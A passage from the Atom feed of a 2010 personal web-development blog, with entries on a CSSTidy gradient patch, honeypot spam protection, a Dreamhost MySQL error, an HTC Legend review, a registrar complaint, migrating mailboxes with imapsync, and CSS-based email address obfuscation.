&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;substr&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$token&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$propertyLength&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$property&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$token&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $property&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // Applying correct casing&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $caseProperties&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;parser&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;get_cfg&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;case_properties&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$caseProperties&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$token&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; strtoupper&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$token&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$caseProperties&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$token&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; strtolower&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$token&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $out&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; .=&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $template&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; .&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;_htmlsp&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$token&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$plain&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;:&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; .&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $template&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;break&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;And that&#39;s it&lt;/h2&gt;
&lt;p&gt;You now can have gradients compressed with CSSTidy. Well sort of, because this
is just a quick and dirty patch, as I&#39;m not the creator of CSSTidy.&lt;/p&gt;
&lt;p&gt;This could surely be improved in a less hacky way, for example by compressing
the color code used in the gradients...&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Meeting with Eric Daspet and Stoyan Stefanov in Paris</title>
    <link href="https://blog.pixelastic.com/2010/06/25/meeting-with-eric-daspet-and-stoyan-stefanov-in-paris/"/>
    <updated>2010-06-25T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/06/25/meeting-with-eric-daspet-and-stoyan-stefanov-in-paris</id>
    <content type="html">&lt;p&gt;On July 21st will be held an [informal meeting in
Paris](https://sites.google.com/a/survol.fr/webperf-user-
group/evenements/21-juillet-2010) for all the web developers that have an
interest in web performance.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://performance.survol.fr/&quot;&gt;Eric Daspet&lt;/a&gt; and
&lt;a href=&quot;http://www.phpied.com/&quot;&gt;Stoyan Stefanov&lt;/a&gt; will be there and host a talk about
performance impact on sales and some more technical less known facts.&lt;/p&gt;
&lt;p&gt;The first part will be in French while Stoyan&#39;s will be in English. If you have
the chance to be in Paris in July, do not miss this event.&lt;/p&gt;
&lt;p&gt;I will, of course, be there. Eric Daspet is the french &amp;quot;gourou&amp;quot; on web
performances, and Stoyan Stefanov is one of the main author of the Smushit
plugin/websit.&lt;/p&gt;
&lt;p&gt;Web performance is a really interesting subject where there is so much to learn
and so much to try.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Improved form spam protection</title>
    <link href="https://blog.pixelastic.com/2010/06/14/improved-form-spam-protection/"/>
    <updated>2010-06-14T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/06/14/improved-form-spam-protection</id>
    <content type="html">&lt;p&gt;My spam protection is really simple. Most spam bots will fill all input fields
they&#39;ll find in a form. If one is named website or email, they will most
certainly want to fill them first.&lt;/p&gt;
&lt;p&gt;So I&#39;ve added to every form a fake input field with a &lt;code&gt;name=&amp;quot;email&amp;quot;&lt;/code&gt; that have
to stay empty. I also labeled it &amp;quot;Spam bait&amp;quot; and displayed a little sentence to
tell my human readers to keep this field empty.&lt;/p&gt;
&lt;p&gt;I also hide the whole field using Javascript because most of the bots don&#39;t have
Javascript enabled, but legitimate users do.&lt;/p&gt;
&lt;h2&gt;Does it work?&lt;/h2&gt;
&lt;p&gt;To say the truth I don&#39;t know. In the previous version of this website I haven&#39;t
any kind of spam protection and was receinving almost a dozen spam mails a day.&lt;/p&gt;
&lt;p&gt;Now that I&#39;ve added this protection, I don&#39;t receive spam anymore. But that
doesn&#39;t mean my protection is working, it may just mean that the spam bots needs
a little time to adjust to the new website.&lt;/p&gt;
&lt;h2&gt;Improving the existing&lt;/h2&gt;
&lt;p&gt;One week ago, two spam comments managed to get past my protection. I have
currently no way to judge my protection efficiency. Maybe that was the only two
spam comments aimed at my website and I let them both slip in. Maybe I was under
a mass attack and managed to block thousand of spam and those two were the only
two to beat me.&lt;/p&gt;
&lt;p&gt;I don&#39;t know, I have absolutly no numbers on that.&lt;/p&gt;
&lt;h2&gt;Getting some stats&lt;/h2&gt;
&lt;p&gt;So today, I decided to add some extra measures. I&#39;m keeping count of every spam
I block (this number will be displayed below the comment list if at least one
spam was blocked).&lt;/p&gt;
&lt;p&gt;I&#39;ll also log some informations when someone is posting a comment: headers sent,
if javascript is enabled and the delay between displaying the form and
submitting it.&lt;/p&gt;
&lt;p&gt;It is useless to build protection if you don&#39;t know what you want to be
protected against. So I&#39;ll let the actual protection in place and will come back
to check the numbers in a couple of weeks.&lt;/p&gt;
&lt;p&gt;I&#39;ll then know exactly how performs my existing spam protection and will be able
to extract spam patterns from the information I&#39;ll gather.&lt;/p&gt;
&lt;p&gt;I think I&#39;ll add a timing system, to block comments that were posted too fast.
If nothing works I&#39;ll use Akismet, but I want to try to defeat them on my own
first.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>MySQL Error 1577 on Dreamhost</title>
    <link href="https://blog.pixelastic.com/2010/06/10/mysql-error-1577-on-dreamhost/"/>
    <updated>2010-06-10T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/06/10/mysql-error-1577-on-dreamhost</id>
    <content type="html">&lt;p&gt;Recently, when connecting to my MySQL databases on Dreamhost through Navicat, I
was greeted with a
&amp;quot;&lt;code&gt;1577 - Cannot proceed because system tables used by Event Scheduler were found damaged at server start&lt;/code&gt;&amp;quot;
error message.&lt;/p&gt;
&lt;p&gt;It didn&#39;t stop me from accessing the tables actually, so I didn&#39;t bother. But
today it prevent me from copying tables from one server to another, so I decided
to have a deeper look into it.&lt;/p&gt;
&lt;p&gt;It seems that it has to do with a mysql upgrade issue. I contacted Dreamhost
about that and they told me that they just upgraded their servers to 5.1, and
that they needed to be restarted. Which they do for me.&lt;/p&gt;
&lt;p&gt;So if you ever run into the same problem, just contact Dreamhost support and
they&#39;ll fix it for you.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>First impressions on my Android powered HTC Legend</title>
    <link href="https://blog.pixelastic.com/2010/06/10/first-impressions-on-my-android-powered-htc-legend/"/>
    <updated>2010-06-10T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/06/10/first-impressions-on-my-android-powered-htc-legend</id>
    <content type="html">&lt;p&gt;I recently bought an HTC Legend. My old phone was broken and I have plans to
develop an Android app. I&#39;ve been using the phone for 3 weeks now, and I&#39;m not
exactly as thrilled about it as I think I would.&lt;/p&gt;
&lt;h2&gt;Open source from Big Brother&lt;/h2&gt;
&lt;p&gt;I was hoping to have a little piece of open source software in my pocket. In
fact, it turns out that Google has a little more piece of me when I&#39;m using the
phone.&lt;/p&gt;
&lt;p&gt;The software is not that open. Maybe it&#39;s because of my phone carrier, SFR, but
there are a lot of pre-installed and useless apps that I can&#39;t get rid of.&lt;/p&gt;
&lt;p&gt;Some settings can&#39;t even be changed because I&#39;m only a user of my own phone and
don&#39;t have a root access by default. The &amp;quot;Accessibility&amp;quot; setting panel is a joke
(I&#39;ll post a picture of it later)&lt;/p&gt;
&lt;p&gt;When I first switched the phone on, I was asked for my Google credentials. Once
entered, all my Google life was downloaded to the phone: mail address book,
google maps location and google calendar meetings. Asking first if I wanted that
would have been great.&lt;/p&gt;
&lt;p&gt;Because loading 500+ mails address book into a phone memory is not the kind of
&amp;quot;smart&amp;quot; I was expecting from a smart phone. I had to manually remove all the
contacts I needed not from my phone.&lt;/p&gt;
&lt;p&gt;And then the phone was complaining again, when it tried to synchronize back with
Gmail, when it tried to remove the mails from my online address book.&lt;/p&gt;
&lt;p&gt;I didn&#39;t want them downloaded in the first place and once I removed them I
didn&#39;t want them to be deleted from my online address book!&lt;/p&gt;
&lt;h2&gt;Disabling sync&lt;/h2&gt;
&lt;p&gt;So I tried to remove the google account from my phone, but that is clearly
impossible and is NEEDED to make the phone work. What? This is stupid.&lt;/p&gt;
&lt;p&gt;I&#39;m not confortable with having a device from which I can&#39;t even remove my
credentials... At least I disabled the auto-sync feeature.&lt;/p&gt;
&lt;p&gt;An other thing to note is that if you want to fine-tune what kind of data your
phone syncs, you first have to enable the auto-sync feature and quickly disable
the data you don&#39;t want, because they all are checked by default.&lt;/p&gt;
&lt;h2&gt;Other settings&lt;/h2&gt;
&lt;p&gt;Even changing the default ringtone is a chore. There&#39;s no way to easily select a
music file saved on the SD card. There isn&#39;t even a native file explorer, you
have to download one from the Market.&lt;/p&gt;
&lt;p&gt;The camera quality isn&#39;t very good and the auto-focus makes pictures more blurry
with it than without. Even my old Nokia XpressMusic was taking better shots.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I really am disapointed by this phone actually, and by the Android platform as a
whole. Maybe the underlying app is great but as an end-user we are blocked from
it.&lt;/p&gt;
&lt;p&gt;I&#39;ll try to root my device and remove the SFR rom to get what I want and need.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Arsys, a registrar to avoid</title>
    <link href="https://blog.pixelastic.com/2010/06/06/arsys-a-registrar-to-avoid/"/>
    <updated>2010-06-06T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/06/06/arsys-a-registrar-to-avoid</id>
    <content type="html">&lt;p&gt;When I use great registrars or hosting services, I say so, and loudly. From all
those that I have tested, there is no better registrar than Gandi and no better
hosting service than Dreamhost.&lt;/p&gt;
&lt;p&gt;But when I encounter really lousy services, I won&#39;t hide to say so too.&lt;/p&gt;
&lt;p&gt;Arsys is one of them. It&#39;s a franco-german-spanish registrar. I just needed to
change the DNS server of a domain on it, and even that was impossible.&lt;/p&gt;
&lt;p&gt;When I tried to put Dreamhost NS servers in the form and submit it, I was
greeted with a bold red error message telling me that an error occured and
asking me to try again later.&lt;/p&gt;
&lt;p&gt;I did try again later, just to receive the exact same error message.&lt;/p&gt;
&lt;p&gt;I wouldn&#39;t have to leave Arsys default NS servers if at least they allowed me to
configure A, CNAME and MX records as I wanted but unfortunatly, none of this is
available.&lt;/p&gt;
&lt;p&gt;I tried to contact their support service, to tell them my problem, but here
again I was faced with an error message on a blank page (in spanish this time)
telling me that the server encountered a problem and that I needed to contact an
administrator (sic)&lt;/p&gt;
&lt;p&gt;So I tried to find a contact page on their public site, and after some 404
errors finally found an email address.&lt;/p&gt;
&lt;p&gt;I send them a email telling them about my problems. They answer stating that if
I have any problem, I should use their contact form to contact
hostmaster@arsys.fr. I tried, and this time it worked.&lt;/p&gt;
&lt;p&gt;It&#39;s been 4 days, and I haven&#39;t heard from them yet. In the meantime, I choose
to quit this registrar and moved the domain to Gandi.&lt;/p&gt;
&lt;p&gt;What is the most strange is that when you google them you got lot of praises
about their wonderful customer service... After having tested it, I just don&#39;t
buy it.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Migrating mails from IMAP to IMAP (part 2/2)</title>
    <link href="https://blog.pixelastic.com/2010/06/04/migrating-mails-from-imap-to-imap-part-2-2/"/>
    <updated>2010-06-04T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/06/04/migrating-mails-from-imap-to-imap-part-2-2</id>
    <content type="html">&lt;p&gt;I&#39;ll finally have to migrate mails from one IMAP server to another because of a
change in the hosting provider of one of my clients.&lt;/p&gt;
&lt;p&gt;Let me first do a quick review of my current config:&lt;/p&gt;
&lt;p&gt;I have an IMAP server on a not-so-reliable host. I need to move all the
mailboxes to a brand new Dreamhost server.&lt;/p&gt;
&lt;p&gt;The current host use horde/imp as its webmail, but Dreamhost is running under
Squirel Mail.&lt;/p&gt;
&lt;h2&gt;How to do that?&lt;/h2&gt;
&lt;p&gt;When I first contacted Dreamhost to ask them the better way to copy the content
of my old IMAP server to their new one, they told me that IMAP to IMAP transfer
was unfortunatly not possible.&lt;/p&gt;
&lt;p&gt;After some digging I found a little linux tool called &lt;code&gt;imapsync&lt;/code&gt; that was
developped to synchronize two IMAP servers. As I only wanted to copy content
from one server to an empty one, I guess it should work.&lt;/p&gt;
&lt;p&gt;And it does.&lt;/p&gt;
&lt;h2&gt;Installing the tool&lt;/h2&gt;
&lt;p&gt;First of all, you really need to have a Linux machine. I&#39;m sorry for all Windows
and Mac users out there, but this solution will only work with Linux.&lt;/p&gt;
&lt;p&gt;Obviously, you&#39;ll first have to download and install it.&lt;/p&gt;
&lt;p&gt;I&#39;m a newbie linux user, and don&#39;t use it at its full potential. It means that I
rely a lot on the UI, I don&#39;t know most of the more basics commands.&lt;/p&gt;
&lt;p&gt;So, I don&#39;t know the correct procedure to install something, I always use the
Synaptic Packager Manager UI. I just have to type &lt;code&gt;imapsync&lt;/code&gt;, check its checkbox
and start the install.&lt;/p&gt;
&lt;p&gt;I guess you, more experienced linux user, would know how to do that anyway.&lt;/p&gt;
&lt;h2&gt;Running the command&lt;/h2&gt;
&lt;p&gt;Once it&#39;s installed, you&#39;ll just have to run one command. But before typing it,
you have make sure that you have all the required informations.&lt;/p&gt;
&lt;p&gt;You&#39;ll need the server name, login and pass of both the source and destination
account.&lt;/p&gt;
&lt;p&gt;In my case I had previously reset all the password to newly generated one on the
source server, then created the same email (with same password) on the
destination server.&lt;/p&gt;
&lt;p&gt;For the source server name, you shouldn&#39;t have any problem finding it. It
usually is something like &lt;code&gt;mail.domain.co&lt;/code&gt;m.&lt;/p&gt;
&lt;p&gt;But for the destination server, that&#39;s a little more tricky. As I haven&#39;t yet
changed DNS, I have a Dreamhost server but no domain name pointing to it. So I
can&#39;t use &lt;code&gt;mail.domain.com&lt;/code&gt; there.&lt;/p&gt;
&lt;p&gt;I had to go my Dreamhost DNS panel (clicking on DNS under the name of my domain
in Manage domain) and check for the IP address associated with the &lt;code&gt;mail A&lt;/code&gt;
entry.&lt;/p&gt;
&lt;p&gt;Once you have all this, create a file (name it &lt;code&gt;pass&lt;/code&gt;) which contain the
password of your account (or &lt;code&gt;pass1&lt;/code&gt; and &lt;code&gt;pass2&lt;/code&gt; if source and destination
password aren&#39;t the same). This is done so you won&#39;t type in clear text the
password of your accounts, or they could be found in the history files.&lt;/p&gt;
&lt;p&gt;Once it&#39;s done, just run the following command&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;imapsync&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --host1&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; mail.domain.com&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --user1&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; contact@domain.com&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --passfile1&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; /path/to/pass1&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --host2&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 208.97.XXX.XXX&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --user2&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; contact@domain.com&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --passfile2&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; /path/to/pass2&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --noauthmd5&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It is not an instant process, actually in can be quite long. One of the mailbox
I had to move had more than 20.000 mails in the sent folder and about 40.000 in
the received one. It took me almost 18h to complete.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Overview of the different ways of protecting your email address</title>
    <link href="https://blog.pixelastic.com/2010/06/03/overview-of-the-different-ways-of-protecting-your-email-address/"/>
    <updated>2010-06-03T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/06/03/overview-of-the-different-ways-of-protecting-your-email-address</id>
    <content type="html">&lt;p&gt;You surely know that displaying an email address as plain text in a website
today is a sure way to get your mailbox full of viagra, rolex and poker ads in
no time.&lt;/p&gt;
&lt;p&gt;Spammer have bots running all day long, crawling through hundred of thousands of
pages, grabbing everything that looks like something@somewhere.com.&lt;/p&gt;
&lt;h2&gt;Existing way of protecting your email address&lt;/h2&gt;
&lt;p&gt;The safest way is to not display it in the first place. Nothing beats that. But
if you really need to be contacted through email, here are some of the possible
alternative.&lt;/p&gt;
&lt;h2&gt;Using a contact form instead.&lt;/h2&gt;
&lt;p&gt;That&#39;s what I&#39;m doing on this site.&lt;/p&gt;
&lt;p&gt;This way I don&#39;t have to display my address, I let my server script send the
email for me.&lt;/p&gt;
&lt;p&gt;Unfortunatly, it means that you have to protect your contact form against spam
now. How to do that is not the scope of this post, however.&lt;/p&gt;
&lt;h2&gt;Using an image&lt;/h2&gt;
&lt;p&gt;Instead of writing your email as plain text, you can use an image inside which
your email is written. Spam bots can&#39;t read images (well, they &lt;strong&gt;could&lt;/strong&gt; but
they won&#39;t bother when there is still so many clear email they can grab without
worrying about images).&lt;/p&gt;
&lt;p&gt;Unfortunatly it has two drawbacks. First, you force your reader to type your
email as they can&#39;t copy/paste it. This lead to possible typos, and more
importantly will frustrate your user.&lt;/p&gt;
&lt;p&gt;Secondly, people browsing without images (yes, that does exists, either because
they have a slow connection, browsing through an old mobile phone or using a
text reader) won&#39;t be able to contact you.&lt;/p&gt;
&lt;h2&gt;Spelling it aloud&lt;/h2&gt;
&lt;p&gt;One of the better way is still to appeal to the human brain and telling your
user what your email is, like &amp;quot;my name, at, my domain dot com&amp;quot; or
&amp;quot;tim@nowhere.com where you have to change nowhere to pixelastic&amp;quot;.&lt;/p&gt;
&lt;p&gt;I&#39;ve even seen someone using the very long form of: &amp;quot;tee ee em at pee hi ex ee
el ah ess tee hi see dot see oh em&amp;quot;. Sure, spammer won&#39;t get that, but the truth
is, not many user won&#39;t either.&lt;/p&gt;
&lt;p&gt;The drawback of this method is the same as the previous one, you force your user
to type your address.&lt;/p&gt;
&lt;h2&gt;Ain&#39;t there an easiest way?&lt;/h2&gt;
&lt;p&gt;Would&#39;nt it be better if we hadn&#39;t to worry about that. If there was a way that
all our reader would read the email, click on it and send us a mail? While being
protected from spam bots?&lt;/p&gt;
&lt;p&gt;Well, there have been attempt to do that, using various server side and client
side techniques. Unfortunatly, all of them failed for at least one type of
users.&lt;/p&gt;
&lt;h2&gt;Encrypting email using unicode&lt;/h2&gt;
&lt;p&gt;One can encrypt any string in Unicode using server script language. It will turn
every character into an entity like .. Your browser will stil understand it
correctly, and display it as the corresponding value.&lt;/p&gt;
&lt;p&gt;We could assume that bots won&#39;t understand it, but I have no data to back that
up. It would be trivial for an harvest bot to parse email using unicode, so I
won&#39;t recommend it.&lt;/p&gt;
&lt;h2&gt;Using CSS to display the mail&lt;/h2&gt;
&lt;p&gt;Modern browser, with great CSS support can help in this process with the use of
generated content and the :after pseudo class.&lt;/p&gt;
&lt;p&gt;Let&#39;s look at the following code:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;span&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;email&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; rel&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;@pixelastic.com&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;tim&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;span&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;span.email&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;rel&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]:after&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  content&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;attr&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;rel&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You just put your username in the &lt;code&gt;span&lt;/code&gt;, and the domain name in the &lt;code&gt;rel&lt;/code&gt;
attribute and let CSS display it as one single email address.&lt;/p&gt;
&lt;p&gt;But you need a browser with a correct CSS support to do that, otherwise you will
